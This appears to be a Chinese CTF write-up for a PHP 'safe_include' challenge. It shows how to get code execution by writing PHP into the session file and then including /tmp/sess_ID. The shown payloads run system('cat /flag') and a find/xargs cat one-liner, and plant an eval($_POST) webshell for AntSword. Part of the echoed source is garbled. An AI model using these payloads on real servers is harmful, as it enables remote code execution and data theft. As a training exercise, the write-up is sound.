记一题CTF safe_include
题目
<?php
@session_start();
ini_set('open_basedir', '/var/www/html/:/tmp/');
$file = @$_SESSION['file'];
if (isset($_GET['file'])) {
$file = $_GET['file'];
}
@include $file;
$_SESSION['file'] = $file;
show_source(__FILE__);
操作方法:
方法一:页面内实现
1、session文件包含
open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。注意用open_basedir指定的限制实际上是前缀,而不是目录名
举例来说: 若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名
?xxs=<?php system('cat /flag');?>保存进session的值并写入session文件
根据sessionID生成session文件,/tmp/sess_sessionID,sessionID一般就是Cookie中PHPSESSID的值,可以通过F12查看网络获得
?xxs=/tmp/sess_sessionID进行session文件包含
2、参考https://blog.csdn.net/weixin_74737443/article/details/134985468
3、因此构建URL
方法一:http://127.0.0.1:32773/?file=<?php system('cat /flag');?>
方法二:http://127.0.0.1:32773/?file=<?php system('find / -name "*flag*" -type f -print0 | xargs -0 cat');?>
指令解释:
在一条命令中同时进行查找并打印(假设文件位置未知)
cd /
find . -name “flag” -type f -print
cat /flag
合并为一条命令:
find / -name “flag” -type f -print0 | xargs -0 cat
4、开发者工具获取cookie,构建
http://127.0.0.1:32773/?file=/tmp/sess_id
5、打开链接获取
file|s:28:"flag{d41d8cd98f00b204e9800998ecf8427e} "; <?php
@session_start();
ini_set(‘open_basedir’, ‘/var/www/html/:/tmp/’);
f
i
l
e
=
@
file = @
file=@_SESSION[‘file’];
if (isset($_GET[‘file’])) {
$file = $_GET[‘file’];
}
@include $file;
$_SESSION[‘file’] = $file;
show_source(FILE);
方法二:webshell蚁剑
蚁剑
页面构建:http://127.0.0.1:32773/?file=<?php eval($_POST['123']);?>
蚁剑连接:http://127.0.0.1:32773/?file=/tmp/sess_id
手动查询目录